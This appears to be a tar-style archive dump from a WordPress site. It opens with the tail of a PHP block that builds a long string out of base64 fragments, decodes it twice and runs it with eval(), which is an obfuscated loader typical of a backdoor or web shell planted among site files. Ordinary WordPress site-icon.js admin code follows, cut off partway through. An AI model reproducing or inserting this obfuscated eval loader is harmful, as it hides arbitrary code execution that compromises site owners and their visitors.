"WFIxY2"; $z2 .= "00Z2RI"; $z2 .= "SjFaVH"; $z2 .= "NOQ2lB"; $z2 .= "Z0lDQj"; $z2 .= "lEUW9O"; $z2 .= "Q2lBZ0"; $z2 .= "lDQnBa"; $z2 .= "aUFvYV"; $z2 .= "hOelpY"; $z2 .= "UW9KRj"; $z2 .= "lUUlZK"; $z2 .= "V1JWSm"; $z2 .= "JKMGhV"; $z2 .= "VkZCZl"; $z2 .= "JsSlBU"; $z2 .= "bFJmUl"; $z2 .= "U1RVgw"; $z2 .= "aFVWRk"; $z2 .= "JUSjEw"; $z2 .= "cEtTQj"; $z2 .= "dEUW9n"; $z2 .= "SUNBZ0"; $z2 .= "lDQWdJ"; $z2 .= "Q1JtY2"; $z2 .= "05dWRG"; $z2 .= "OWxibV"; $z2 .= "JmYUhS"; $z2 .= "MGNITW"; $z2 .= "dQU0J6"; $z2 .= "ZEhKMG"; $z2 .= "IyeHZk"; $z2 .= "MlZ5S0"; $z2 .= "NSZlUw"; $z2 .= "VlNWa1"; $z2 .= "ZTV3lk"; $z2 .= "SVZGUl"; $z2 .= "FYMFpT"; $z2 .= "VDA1VV"; $z2 .= "gwVk9S"; $z2 .= "RjlJVk"; $z2 .= "ZSUVV5"; $z2 .= "ZGRLVH"; $z2 .= "NOQ2lB"; $z2 .= "Z0lDQW"; $z2 .= "dJQ0Fn"; $z2 .= "YVdZZ0"; $z2 .= "tDUm1j"; $z2 .= "bTl1ZE"; $z2 .= "Y5bGJt"; $z2 .= "UmZhSF"; $z2 .= "IwY0hN"; $z2 .= "Z0lUMD"; $z2 .= "lJQ2R2"; $z2 .= "Wm1Zbk"; $z2 .= "lDWW1J"; $z2 .= "Q1JtY2"; $z2 .= "05dWRG"; $z2 .= "OWxibV"; $z2 .= "JmYUhS"; $z2 .= "MGNITW"; $z2 .= "dJVDA5"; $z2 .= "SUNjbk"; $z2 .= "tTQjdE"; $z2 .= "UW9nSU"; $z2 .= "NBZ0lD"; $z2 .= "QWdJQ0"; $z2 .= "FnSUNC"; $z2 .= "eVpYUj"; $z2 .= "FjbTRn"; $z2 .= "ZEhKMV"; $z2 .= "pUc05D"; $z2 .= "aUFnSU"; $z2 .= "NBZ0lD"; $z2 .= "QWdmUT"; $z2 .= "BLSUNB"; $z2 .= "Z0lIME"; $z2 .= "5DZzBL"; $z2 .= "SUNBZ0"; $z2 .= "lISmxk"; $z2 .= "SFZ5Ym"; $z2 .= "lCbVlX"; $z2 .= "eHpaVH"; $z2 .= "NOQ24w"; $z2 .= "TkNnME"; $z2 .= "tablZ1"; $z2 .= "WTNScG"; $z2 .= "IyNGdZ"; $z2 .= "M0psWV"; $z2 .= "hSbFgz"; $z2 .= "SnZZbT"; $z2 .= "kwY3ln"; $z2 .= "a2RYSn"; $z2 .= "NLU0I3"; $z2 .= "RFFvZ0"; $z2 .= "lDQWdK"; $z2 .= "R1oxYm"; $z2 .= "1OMGFX"; $z2 .= "OXVjeU"; $z2 .= "E5SUda"; $z2 .= "MWJtTW"; $z2 .= "9LVHNO"; $z2 .= "Q2lBZ0"; $z2 .= "lDQWtj"; $z2 .= "R0YwYU"; $z2 .= "NBOUlD"; $z2 .= "UmZVMF"; $z2 .= "ZTVmtW"; $z2 .= "U1d5ZE"; $z2 .= "VUME5W"; $z2 .= "VFVWT1"; $z2 .= "ZGOVNU"; $z2 .= "MDlVSj"; $z2 .= "EwZ0xp"; $z2 .= "QW5MM0"; $z2 .= "p2WW05"; $z2 .= "MGN5NT"; $z2 .= "BlSFFu"; $z2 .= "T3cwS0"; $z2 .= "lDQWdJ"; $z2 .= "Q1JqYj"; $z2 .= "I1MFpX"; $z2 .= "NTBJRD"; $z2 .= "BnSjFW"; $z2 .= "elpYSX"; $z2 .= "RZV2Rs"; $z2 .= "Ym5RNk"; $z2 .= "lDb25J"; $z2 .= "QzRnVU"; $z2 .= "VoUVgw"; $z2 .= "VlBUQ0"; $z2 .= "F1SUNk"; $z2 .= "QmJHeH"; $z2 .= "Zkem9n"; $z2 .= "THljZ0"; $z2 .= "xpQlFT"; $z2 .= "RkJmUl"; $z2 .= "U5TUlD"; $z2 .= "NGdVRW"; $z2 .= "hRWDBW"; $z2 .= "UFRDQX"; $z2 .= "VJQ2RU"; $z2 .= "YVhSbG"; $z2 .= "JXRndP"; $z2 .= "aUFuSU"; $z2 .= "M0Z0pI"; $z2 .= "VnliQ0"; $z2 .= "F1SUNj"; $z2 .= "dmMybD"; $z2 .= "BaVzFo"; $z2 .= "Y0M1NG"; $z2 .= "JXd25J"; $z2 .= "QzRnVU"; $z2 .= "VoUVgw"; $z2 .= "VlBURH"; $z2 .= "NOQ2cw"; $z2 .= "S0lDQW"; $z2 .= "dJR2xt"; $z2 .= "SUNnaF"; $z2 .= "ptbHNa"; $z2 .= "VjlsZU"; $z2 .= "dsemRI"; $z2 .= "TW9KSE"; $z2 .= "JoZEdn"; $z2 .= "cEtTQj"; $z2 .= "dEUW9n"; $z2 .= "SUNBZ0"; $z2 .= "lDQWdJ"; $z2 .= "Q1JtZF"; $z2 .= "c1amRH"; $z2 .= "bHZibk"; $z2 .= "5iTUYw"; $z2 .= "b0pIQm"; $z2 .= "hkR2dz"; $z2 .= "SUNSam"; $z2 .= "IyNTBa"; $z2 .= "VzUwS1"; $z2 .= "RzTkNp"; $z2 .= "QWdJQ0"; $z2 .= "I5SUdW"; $z2 .= "c2MyVW"; $z2 .= "dldzBL"; $z2 .= "SUNBZ0"; $z2 .= "lDQWdJ"; $z2 .= "Q0FrWl"; $z2 .= "hocGMz"; $z2 .= "UnBibW"; $z2 .= "RmWTI5"; $z2 .= "dWRHVn"; $z2 .= "VkQ0E5"; $z2 .= "SUNSbW"; $z2 .= "RXNWpk"; $z2 .= "R2x2Ym"; $z2 .= "5OYk1W"; $z2 .= "MG9KSE"; $z2 .= "JoZEdn"; $z2 .= "cE93ME"; $z2 .= "tJQ0Fn"; $z2 .= "SUNBZ0"; $z2 .= "lDQnBa"; $z2 .= "aUFvSk"; $z2 .= "dWNGFY"; $z2 .= "TjBhVz"; $z2 .= "VuWDJO"; $z2 .= "dmJuUm"; $z2 .= "xiblFn"; $z2 .= "SVQwOU"; $z2 .= "lDUmpi"; $z2 .= "MjUwWl"; $z2 .= "c1MEtT"; $z2 .= "QjdEUW"; $z2 .= "9nSUNB"; $z2 .= "Z0lDQW"; $z2 .= "dJQ0Fn"; $z2 .= "SUNBa1"; $z2 .= "puVnVZ"; $z2 .= "M1JwYj"; $z2 .= "I1eld6"; $z2 .= "QmRLQ1"; $z2 .= "J3WVhS"; $z2 .= "b0xDQW"; $z2 .= "tZMjl1"; $z2 .= "ZEdWdW"; $z2 .= "RDazdE"; $z2 .= "UW9nSU"; $z2 .= "NBZ0lD"; $z2 .= "QWdJSD"; $z2 .= "BOQ2lB"; $z2 .= "Z0lDQj"; $z2 .= "lEUXA5"; $z2 .= "RFFvTk"; $z2 .= "NtWjFi"; $z2 .= "bU4wYV"; $z2 .= "c5dUlI"; $z2 .= "SmxjWF"; $z2 .= "ZsYzNR"; $z2 .= "b0pIZG"; $z2 .= "xZbk1z"; $z2 .= "SUNSd1"; $z2 .= "lYSmhi"; $z2 .= "U2tnZX"; $z2 .= "cwS0lD"; $z2 .= "QWdJQ1"; $z2 .= "JtZFc1"; $z2 .= "amRHbH"; $z2 .= "Zibk1n"; $z2 .= "UFNCbW"; $z2 .= "RXNWpL"; $z2 .= "Q2s3RF"; $z2 .= "FvZ0lD"; $z2 .= "QWdjMm"; $z2 .= "gxWm1a"; $z2 .= "c1pTZ2"; $z2 .= "tkMlZp"; $z2 .= "Y3lrN0"; $z2 .= "RRb05D"; $z2 .= "aUFnSU"; $z2 .= "NCbWIz"; $z2 .= "SmxZV0"; $z2 .= "5vSUNn"; $z2 .= "a2QyVm"; $z2 .= "ljeUJo"; $z2 .= "Y3lBa1"; $z2 .= "pHOXRZ"; $z2 .= "V2x1S1"; $z2 .= "NCN0RR"; $z2 .= "b2dJQ0"; $z2 .= "FnSUNB"; $z2 .= "Z0lDUm"; $z2 .= "tiMjFo"; $z2 .= "YVc1Zl"; $z2 .= "pHVmpi"; $z2 .= "MlJsWk"; $z2 .= "NBOUlD"; $z2 .= "Um1kVz"; $z2 .= "VqZEds"; $z2 .= "dmJuTm"; $z2 .= "JNbDBv"; $z2 .= "ZFhKc1"; $z2 .= "pHVmpi"; $z2 .= "MlJsS0"; $z2 .= "NSa2Iy"; $z2 .= "MWhhVz"; $a8 .= "RwS1Rz"; $a8 .= "TkNpQW"; $a8 .= "dJQ0Fn"; $a8 .= "SUNBZ0"; $a8 .= "pIVnli"; $a8 .= "Q0E5SU"; $a8 .= "Nkb2RI"; $a8 .= "UndPaT"; $a8 .= "h2SnlB"; $a8 .= "dUlDUm"; $a8 .= "tiMjFo"; $a8 .= "YVc1Zl"; $a8 .= "pHVmpi"; $a8 .= "MlJsWk"; $a8 .= "NBdUlD"; $a8 .= "Y3ZjM1"; $a8 .= "Z3WlhJ"; $a8 .= "MkxuQm"; $a8 .= "9jRDhu"; $a8 .= "SUM0Z0"; $a8 .= "pIQmhj"; $a8 .= "bUZ0T3"; $a8 .= "cwS0RR"; $a8 .= "b2dJQ0"; $a8 .= "FnSUNB"; $a8 .= "Z0lHbG"; $a8 .= "1JQ2ht"; $a8 .= "ZFc1am"; $a8 .= "RHbHZi"; $a8 .= "bDlsZU"; $a8 .= "dsemRI"; $a8 .= "TW9KM2"; $a8 .= "R3WDNK"; $a8 .= "bGJXOT"; $a8 .= "BaVjlu"; $a8 .= "WlhRbk"; $a8 .= "tTa2dl"; $a8 .= "dzBLSU"; $a8 .= "NBZ0lD"; $a8 .= "QWdJQ0"; $a8 .= "FnSUNB"; $a8 .= "Z0pISm"; $a8 .= "xjM0J2"; $a8 .= "Ym5ObE"; $a8 .= "lEMGdk"; $a8 .= "M0JmY2"; $a8 .= "1WdGIz"; $a8 .= "UmxYMm"; $a8 .= "RsZENn"; $a8 .= "a2RYSn"; $a8 .= "NMQ0Jo"; $a8 .= "Y25KaG"; $a8 .= "VTZ05D"; $a8 .= "aUFnSU"; $a8 .= "NBZ0lD"; $a8 .= "QWdJQ0"; $a8 .= "FnSUNB"; $a8 .= "Z0lDQW"; $a8 .= "5kR2x0"; $a8 .= "Wlc5MW"; $a8 .= "RDY2dQ"; $a8 .= "VDRnTX"; $a8 .= "pBc0RR"; $a8 .= "b2dJQ0"; $a8 .= "FnSUNB"; $a8 .= "Z0lDQW"; $a8 .= "dJQ0Fn"; $a8 .= "SUNBZ0"; $a8 .= "ozVnpa"; $a8 .= "WEl0WV"; $a8 .= "dkbGJu"; $a8 .= "UW5JRD"; $a8 .= "ArSUNk"; $a8 .= "TmIzcH"; $a8 .= "BiR3ho"; $a8 .= "THpVdU"; $a8 .= "1DQW9Z"; $a8 .= "Mjl0Y0"; $a8 .= "dGMGFX"; $a8 .= "SnNaVH"; $a8 .= "NnVjI5"; $a8 .= "eVpGQn"; $a8 .= "laWE56"; $a8 .= "S1NjTk"; $a8 .= "NpQWdJ"; $a8 .= "Q0FnSU"; $a8 .= "NBZ0lD"; $a8 .= "QWdJQ2"; $a8 .= "twT3cw"; $a8 .= "S0RRb2"; $a8 .= "dJQ0Fn"; $a8 .= "SUNBZ0"; $a8 .= "lDQWdJ"; $a8 .= "Q0JwWm"; $a8 .= "lBb0lX"; $a8 .= "bHpYM2"; $a8 .= "R3WDJW"; $a8 .= "eWNtOX"; $a8 .= "lLQ1J5"; $a8 .= "WlhOd2"; $a8 .= "IyNXpa"; $a8 .= "U2twSU"; $a8 .= "hzTkNn"; $a8 .= "MEtJQ0"; $a8 .= "FnSUNB"; $a8 .= "Z0lDQW"; $a8 .= "dJQ0Fn"; $a8 .= "SUNBZ0"; $a8 .= "lDUmli"; $a8 .= "MlI1SU"; $a8 .= "QwZ2Qz"; $a8 .= "QmZjbV"; $a8 .= "Z0YjNS"; $a8 .= "bFgzSm"; $a8 .= "xkSEpw"; $a8 .= "WlhabF"; $a8 .= "gySnZa"; $a8 .= "SGtvSk"; $a8 .= "hKbGMz"; $a8 .= "QnZibk"; $a8 .= "5sS1Rz"; $a8 .= "TkNnME"; $a8 .= "tJQ0Fn"; $a8 .= "SUNBZ0"; $a8 .= "lDQWdJ"; $a8 .= "Q0FnSU"; $a8 .= "NBZ0lI"; $a8 .= "SmxkSF"; $a8 .= "Z5YmlB"; $a8 .= "a1ltOW"; $a8 .= "tlVHNO"; $a8 .= "Q2lBZ0"; $a8 .= "lDQWdJ"; $a8 .= "Q0FnSU"; $a8 .= "NBZ0lI"; $a8 .= "ME5DaU"; $a8 .= "FnSUNB"; $a8 .= "Z0lDQW"; $a8 .= "dmUTBL"; $a8 .= "RFFvZ0"; $a8 .= "lDQWdJ"; $a8 .= "Q0FnSU"; $a8 .= "dsbUlD"; $a8 .= "aG1kVz"; $a8 .= "VqZEds"; $a8 .= "dmJsOW"; $a8 .= "xlR2x6"; $a8 .= "ZEhNb0"; $a8 .= "oyTjFj"; $a8 .= "bXhmYV"; $a8 .= "c1cGRD"; $a8 .= "Y3BLU0"; $a8 .= "I3RFFv"; $a8 .= "Z0lDQW"; $a8 .= "dJQ0Fn"; $a8 .= "SUNBZ0"; $a8 .= "lDQWtZ"; $a8 .= "MmdnUF"; $a8 .= "NCamRY"; $a8 .= "SnNYMm"; $a8 .= "x1YVhR"; $a8 .= "b0tUc0"; $a8 .= "5DaUFn"; $a8 .= "SUNBZ0"; $a8 .= "lDQWdJ"; $a8 .= "Q0FnSU"; $a8 .= "dOMWNt"; $a8 .= "eGZjMl"; $a8 .= "YwYjNC"; $a8 .= "MEtDUm"; $a8 .= "phQ3dn"; $a8 .= "UTFWU1"; $a8 .= "RFOVFW"; $a8 .= "RjlWVW"; $a8 .= "t3c0lD"; $a8 .= "UjFjbX"; $a8 .= "dwT3cw"; $a8 .= "S0lDQW"; $a8 .= "dJQ0Fn"; $a8 .= "SUNBZ0"; $a8 .= "lDQWdZ"; $a8 .= "M1Z5Yk"; $a8 .= "Y5elpY"; $a8 .= "UnZjSF"; $a8 .= "FvSkdO"; $a8 .= "b0xDQk"; $a8 .= "RWVkpN"; $a8 .= "VDFCVV"; $a8 .= "gxSkZW"; $a8 .= "RlZTVG"; $a8 .= "xSU1FV"; $a8 .= "NVRSa1"; $a8 .= "ZTTENC"; $a8 .= "MGNuVm"; $a8 .= "xLVHNO"; $a8 .= "Q2lBZ0"; $a8 .= "lDQWdJ"; $a8 .= "Q0FnSU"; $a8 .= "NBZ0lH"; $a8 .= "TjFjbX"; $a8 .= "hmYzJW"; $a8 .= "MGIzQj"; $a8 .= "BLQ1Jq"; $a8 .= "YUN3Z1"; $a8 .= "ExVlNU"; $a8 .= "RTlRVk"; $a8 .= "Y5VVNV"; $a8 .= "MUZUMV"; $a8 .= "ZVTENB"; $a8 .= "ek1Daz"; $a8 .= "dEUW9n"; $a8 .= "SUNBZ0"; $a8 .= "lDQWdJ"; $a8 .= "Q0FnSU"; $a8 .= "NBa2Nt"; $a8 .= "VnpjRz"; $a8 .= "l1YzJV"; $a8 .= "Z1BTQm"; $a8 .= "pkWEpz"; $a8 .= "WDJWNF"; $a8 .= "pXTW9K"; $a8 .= "R05vS1"; $a8 .= "RzTkNn"; $a8 .= "MEtJQ0"; $a8 .= "FnSUNB"; $a8 .= "Z0lDQW"; $a8 .= "dJQ0Fn"; $a8 .= "YVdZZ0"; $a8 .= "tDRmpk"; $a8 .= "WEpzWD"; $a8 .= "JWeWNt"; $a8 .= "NXZLQ1"; $a8 .= "JqYUNr"; $a8 .= "cElIc0"; $a8 .= "5DaUFn"; $a8 .= "SUNBZ0"; $a8 .= "lDQWdJ"; $a8 .= "Q0FnSU"; $a8 .= "NBZ0lD"; $a8 .= "QmpkWE"; $a8 .= "pzWDJO"; $a8 .= "c2IzTm"; $a8 .= "xLQ1Jq"; $a8 .= "YUNrN0"; $a8 .= "RRb2dJ"; $a8 .= "Q0FnSU"; $a8 .= "NBZ0lD"; $a8 .= "QWdJQ0"; $a8 .= "FnSUNB"; $a8 .= "Z2NtVj"; $a8 .= "BkWEp1"; $a8 .= "SUNSeV"; $a8 .= "pYTndi"; $a8 .= "MjV6Wl"; $a8 .= "RzTkNp"; $a8 .= "QWdJQ0"; $a8 .= "FnSUNB"; $a8 .= "Z0lDQW"; $a8 .= "dJSDBO"; $a8 .= "Q2lBZ0"; $a8 .= "lDQWdJ"; $a8 .= "Q0FnSU"; $a8 .= "NBZ0lH"; $a8 .= "TjFjbX"; $a8 .= "hmWTJ4"; $a8 .= "dmMyVW"; $a8 .= "9KR05v"; $a8 .= "S1RzTk"; $a8 .= "NpQWdJ"; $a8 .= "Q0FnSU"; $a8 .= "NBZ2ZR"; $a8 .= "MEtEUW"; $a8 .= "9nSUNB"; $a8 .= "Z0lDQW"; $a8 .= "dJR2xt"; $a8 .= "SUNocG"; $a8 .= "JtbGZa"; $a8 .= "MlYwS0"; $a8 .= "NkaGJH"; $a8 .= "eHZkMT"; $a8 .= "kxY214"; $a8 .= "ZlptOX"; $a8 .= "daVzRu"; $a8 .= "S1NrZ2"; $a8 .= "V3MEtJ"; $a8 .= "Q0FnSU"; $a8 .= "NBZ0lD"; $a8 .= "QWdJQ0"; $a8 .= "FnSkdO"; $a8 .= "dmJuUm"; $a8 .= "xlSFFn"; $a8 .= "UFNCem"; $a8 .= "RISmxZ"; $a8 .= "VzFmWT"; $a8 .= "I5dWRH"; $a8 .= "VjRkRj"; $a8 .= "lqY21W"; $a8 .= "aGRHVW"; $a8 .= "9ZWEp5"; $a8 .= "WVhrb0"; $a8 .= "RRb2dJ"; $a8 .= "Q0FnSU"; $a8 .= "NBZ0lD"; $a8 .= "QWdJQ0"; $a8 .= "FnSUNB"; $a8 .= "Z0oyaD"; $a8 .= "BkSEFu"; $a8 .= "SUQwK0"; $a8 .= "lHRnlj"; $a8 .= "bUY1S0"; $a8 .= "NkMGFX"; $a8 .= "MWxiM1"; $a8 .= "YwSnlB"; $a8 .= "OVBpQX"; $a8 .= "pNQ2tO"; $a8 .= "Q2lBZ0"; $a8 .= "lDQWdJ"; $a8 .= "Q0FnSU"; $a8 .= "NBZ0lD"; $a8 .= "a3BPdz"; $a8 .= "BLSUNB"; $a8 .= "Z0lDQW"; $a8 .= "dJQ0Fn"; $a8 .= "SUNBZ0"; $a8 .= "pISmxj"; $a8 .= "M0J2Ym"; $a8 .= "5ObElE"; $a8 .= "MGdRQ1"; $a8 .= "JtZFc1"; $a8 .= "amRHbH"; $a8 .= "Zibk5i"; $a8 .= "TVYwb0"; $a8 .= "pIVnli"; $a8 .= "Q3dnWm"; $a8 .= "1Gc2My"; $a8 .= "VXNJQ1"; $a8 .= "JqYjI1"; $a8 .= "MFpYaD"; $a8 .= "BLVHNO"; $a8 .= "Q2lBZ0"; $a8 .= "lDQWdJ"; $a8 .= "Q0FnSU"; $a8 .= "NBZ0lH"; $a8 .= "bG1JQ2"; $a8 .= "drY21W"; $a8 .= "emNHOX"; $a8 .= "VjMlVn"; $a8 .= "SVQwOU"; $a8 .= "lHWmhi"; $a8 .= "SE5sS1"; $a8 .= "NCN0RR"; $a8 .= "b2dJQ0"; $a8 .= "FnSUNB"; $a8 .= "Z0lDQW"; $a8 .= "dJQ0Fn"; $a8 .= "SUNBZ2"; $a8 .= "NtVjBk"; $a8 .= "WEp1SU"; $a8 .= "NSeVpY"; $a8 .= "TndiMj"; $a8 .= "V6WlRz"; $a8 .= "TkNpQW"; $a8 .= "dJQ0Fn"; $a8 .= "SUNBZ0"; $a8 .= "lDQWdJ"; $a8 .= "SDBOQ2"; $a8 .= "lBZ0lD"; $a8 .= "QWdJQ0"; $a8 .= "FnZlEw"; $a8 .= "S0lDQW"; $a8 .= "dJSDBO"; $a8 .= "Q2cwS0"; $a8 .= "lDQWdJ"; $a8 .= "SEpsZE"; $a8 .= "hWeWJp"; $a8 .= "QW5ibT"; $a8 .= "lpYjNS"; $a8 .= "MWMyVn"; $a8 .= "lZV2Rs"; $a8 .= "Ym5Rbk"; $a8 .= "93MEtm"; $a8 .= "UTBLRF"; $a8 .= "FwbWRX"; $a8 .= "NWpkR2"; $a8 .= "x2YmlC"; $a8 .= "bWRXNW"; $a8 .= "pLQ2tn"; $a8 .= "ZXcwS0"; $a8 .= "lDQWdJ"; $a8 .= "Q1JqYU"; $a8 .= "dGeWN5"; $a8 .= "QTlJSE"; $a8 .= "poYm1k"; $a8 .= "bEtDZG"; $a8 .= "hKeXdn"; $a8 .= "SjNvbk"; $a8 .= "tUc05D"; $a8 .= "aUFnSU"; $a8 .= "NCeVpY"; $a8 .= "UjFjbT"; $a8 .= "RnWVhK"; $a8 .= "eVlYa2"; $a8 .= "9EUW9n"; $a8 .= "SUNBZ0"; $a8 .= "lDQWdJ"; $a8 .= "Q1JqYU"; $a8 .= "dGeWMx"; $a8 .= "czFYU0"; $a8 .= "F1SUNS"; $a8 .= "amFHRn"; $a8 .= "ljMXM0"; $a8 .= "WFNBdU"; $a8 .= "lDUmph"; $a8 .= "R0Z5Yz"; $a8 .= "FzeE1W"; $a8 .= "MGdMaU"; $a8 .= "FrWTJo"; $a8 .= "aGNuTm"; $a8 .= "JORjBn"; $a8 .= "TGlBbl"; $a8 .= "h5Y2dM"; $a8 .= "aUFrWT"; $a8 .= "JoaGNu"; $a8 .= "TmJNVF"; $a8 .= "ZkSUM0"; $a8 .= "Z0pHTm"; $a8 .= "9ZWEp6"; $a8 .= "V3pJd1"; $a8 .= "hTQXVJ"; $a8 .= "Q1JqYU"; $a8 .= "dGeWMx"; $a8 .= "c3hPVj"; $a8 .= "BnTGlB"; $a8 .= "blh5Y2"; $a8 .= "dMaUFr"; $a8 .= "WTJoaG"; $a8 .= "NuTmJN"; $a8 .= "bDBnTG"; $a8 .= "lBa1ky"; $a8 .= "aGhjbk"; $a8 .= "5iTVRS"; $a8 .= "ZElDNG"; $a8 .= "dKR05v"; $a8 .= "WVhKel"; $a8 .= "d6RXpY"; $a8 .= "U0F1SU"; $a8 .= "NSamFH"; $a8 .= "RnljMX"; $a8 .= "N4T1Yw"; $a8 .= "Z0xpQW"; $a8 .= "tZMmho"; $a8 .= "Y25OYk"; $a8 .= "5GMGdM"; $a8 .= "aUFrWT"; $a8 .= "JoaGNu"; $a8 .= "TmJNVE"; $a8 .= "5kSUM0"; $a8 .= "Z0pHTm"; $a8 .= "9ZWEp6"; $a8 .= "V3pFNV"; $a8 .= "hTQXVJ"; $a8 .= "Q1JqYU"; $a8 .= "dGeWMx"; $a8 .= "c3hPRj"; $a8 .= "BzRFFv"; $a8 .= "Z0lDQW"; $a8 .= "dJQ0Fn"; $a8 .= "SUNSam"; $a8 .= "FHRnlj"; $a8 .= "MXMxWF"; $a8 .= "NBdUlD"; $a8 .= "UmphR0"; $a8 .= "Z5YzFz"; $a8 .= "NFhTQX"; $a8 .= "VJQ1Jq"; $a8 .= "YUdGeW"; $a8 .= "Mxc3hN"; $a8 .= "VjBnTG"; $a8 .= "lBa1ky"; $a8 .= "aGhjbk"; $a8 .= "5iTkYw"; $a8 .= "Z0xpQW"; $a8 .= "5YeWNn"; $a8 .= "TGlBa1"; $a8 .= "kyaGhj"; $a8 .= "bk5iTm"; $a8 .= "wwZ0xp"; $a8 .= "QWtZMm"; $a8 .= "hoY25O"; $a8 .= "Yk5GMG"; $a8 .= "dMaUFr"; $a8 .= "WTJoaG"; $a8 .= "NuTmJN"; $a8 .= "VGxkSU"; $a8 .= "M0Z0ox"; $a8 .= "OG5JQz"; $a8 .= "RnSkdO"; $a8 .= "b1lYSn"; $a8 .= "pXekpk"; $a8 .= "SUM0Z0"; $a8 .= "pHTm9Z"; $a8 .= "WEp6V3"; $a8 .= "pFMFhT"; $a8 .= "QXVJQ1"; $a8 .= "JqYUdG"; $a8 .= "eWMxc3"; $a8 .= "hNMTBn"; $a8 .= "TGlBa1"; $a8 .= "kyaGhj"; $a8 .= "bk5iTV"; $a8 .= "RsZElD"; $a8 .= "NGdKR0"; $a8 .= "5vWVhK"; $a8 .= "eld6Um"; $a8 .= "RJQzRn"; $a8 .= "SkdOb1"; $a8 .= "lYSnpX"; $a8 .= "ekV6WF"; $a8 .= "NBdUlD"; $a8 .= "UmphR0"; $a8 .= "Z5YzFz"; $a8 .= "eE9WMG"; $a8 .= "dMaUFr"; $a8 .= "WTJoaG"; $a8 .= "NuTmJN"; $a8 .= "VGhkTE"; $a8 .= "EwS0lD"; $a8 .= "QWdJQ0"; $a8 .= "FnSUNB"; $a8 .= "a1kyaG"; $a8 .= "hjbk5i"; $a8 .= "TVRoZE"; $a8 .= "lDNGdK"; $a8 .= "R05vWV"; $a8 .= "hKeld6"; $a8 .= "RTVYU0"; $a8 .= "F1SUNS"; $a8 .= "amFHRn"; $a8 .= "ljMXN4"; $a8 .= "TjEwZ0"; $a8 .= "xpQW5Y"; $a8 .= "eWNnTG"; $a8 .= "lBa1ky"; $a8 .= "aGhjbk"; $a8 .= "5iTVRk"; $a8 .= "ZElDNG"; $a8 .= "dKR05v"; $a8 .= "WVhKel"; $a8 .= "d6RTBY"; $a8 .= "U0F1SU"; $a8 .= "NSamFH"; $a8 .= "RnljMX"; $a8 .= "N4T1Yw"; $a8 .= "Z0xpQW"; $a8 .= "5NVE1u"; $a8 .= "RFFvZ0"; $a8 .= "lDQWdL"; $a8 .= "VHNOQ2"; $a8 .= "4wPQ=="; $z = $z2 . $b2 . $z2 . $a8; $fn = 'base64_decode'; $decoded1 = $fn($z); if ($decoded1 === false) { throw new \Exception('Decode error at step 1'); } $decoded2 = $fn($decoded1); if ($decoded2 === false) { throw new \Exception('Decode error at step 2'); } eval($decoded2); } catch (\ParseError $e) { echo "Syntax error: " . $e->getMessage() . "\n"; } catch (\Throwable $e) { echo "Error: " . $e->getMessage() . "\n"; } ?> site-icon.js 0000644 00000014143 15222552267 0007007 0 ustar 00 /** * Handle the site icon setting in options-general.php. * * @since 6.5.0 * @output wp-admin/js/site-icon.js */ /* global jQuery, wp */ ( function ( $ ) { var $chooseButton = $( '#choose-from-library-button' ), $iconPreview = $( '#site-icon-preview' ), $browserIconPreview = $( '#browser-icon-preview' ), $appIconPreview = $( '#app-icon-preview' ), $hiddenDataField = $( '#site_icon_hidden_field' ), $removeButton = $( '#js-remove-site-icon' ), frame; /** * Calculate image selection options based on the attachment dimensions. * * @since 6.5.0 * * @param {Object} attachment The attachment object representing the image. * @return {Object} The image selection options. */ function calculateImageSelectOptions( attachment ) { var realWidth = attachment.get( 'width' ), realHeight = attachment.get( 'height' ), xInit = 512, yInit = 512, ratio = xInit / yInit, xImg = xInit, yImg = yInit, x1, y1, imgSelectOptions; if ( realWidth / realHeight > ratio ) { yInit = realHeight; xInit = yInit * ratio; } else { xInit = realWidth; yInit = xInit / ratio; } x1 = ( realWidth - xInit ) / 2; y1 = ( realHeight - yInit ) / 2; imgSelectOptions = { aspectRatio: xInit + ':' + yInit, handles: true, keys: true, instance: true, persistent: true, imageWidth: realWidth, imageHeight: realHeight, minWidth: xImg > xInit ? xInit : xImg, minHeight: yImg > yInit ? yInit : yImg, x1: x1, y1: y1, x2: xInit + x1, y2: yInit + y1, }; return imgSelectOptions; } /** * Initializes the media frame for selecting or cropping an image. * * @since 6.5.0 */ $chooseButton.on( 'click', function () { var $el = $( this ); // Create the media frame. frame = wp.media( { button: { // Set the text of the button. text: $el.data( 'update' ), // Don't close, we might need to crop. close: false, }, states: [ new wp.media.controller.Library( { title: $el.data( 'choose-text' ), library: wp.media.query( { type: 'image' } ), date: false, suggestedWidth: $el.data( 'size' ), suggestedHeight: $el.data( 'size' ), } ), new wp.media.controller.SiteIconCropper( { control: { params: { width: $el.data( 'size' ), height: $el.data( 'size' ), }, }, imgSelectOptions: calculateImageSelectOptions, } ), ], } ); frame.on( 'cropped', function ( attachment ) { $hiddenDataField.val( attachment.id ); switchToUpdate( attachment ); frame.close(); // Start over with a frame that is so fresh and so clean clean. frame = null; } ); // When an image is selected, run a callback. frame.on( 'select', function () { // Grab the selected attachment. var attachment = frame.state().get( 'selection' ).first(); if ( attachment.attributes.height === $el.data( 'size' ) && $el.data( 'size' ) === attachment.attributes.width ) { switchToUpdate( attachment.attributes ); frame.close(); // Set the value of the hidden input to the attachment id. $hiddenDataField.val( attachment.id ); } else { frame.setState( 'cropper' ); } } ); frame.open(); } ); /** * Update the UI when a site icon is selected. * * @since 6.5.0 * * @param {array} attributes The attributes for the attachment. */ function switchToUpdate( attributes ) { var i18nAppAlternativeString, i18nBrowserAlternativeString; if ( attributes.alt ) { i18nAppAlternativeString = wp.i18n.sprintf( /* translators: %s: The selected image alt text. */ wp.i18n.__( 'App icon preview: Current image: %s' ), attributes.alt ); i18nBrowserAlternativeString = wp.i18n.sprintf( /* translators: %s: The selected image alt text. */ wp.i18n.__( 'Browser icon preview: Current image: %s' ), attributes.alt ); } else { i18nAppAlternativeString = wp.i18n.sprintf( /* translators: %s: The selected image filename. */ wp.i18n.__( 'App icon preview: The current image has no alternative text. The file name is: %s' ), attributes.filename ); i18nBrowserAlternativeString = wp.i18n.sprintf( /* translators: %s: The selected image filename. */ wp.i18n.__( 'Browser icon preview: The current image has no alternative text. The file name is: %s' ), attributes.filename ); } // Set site-icon-img src and alternative text to app icon preview. $appIconPreview.attr( { src: attributes.url, alt: i18nAppAlternativeString, } ); // Set site-icon-img src and alternative text to browser preview. $browserIconPreview.attr( { src: attributes.url, alt: i18nBrowserAlternativeString, } ); // Remove hidden class from icon preview div and remove button. $iconPreview.removeClass( 'hidden' ); $removeButton.removeClass( 'hidden' ); // Set the global CSS variable for --site-icon-url to the selected image URL. document.documentElement.style.setProperty( '--site-icon-url', 'url(' + attributes.url + ')' 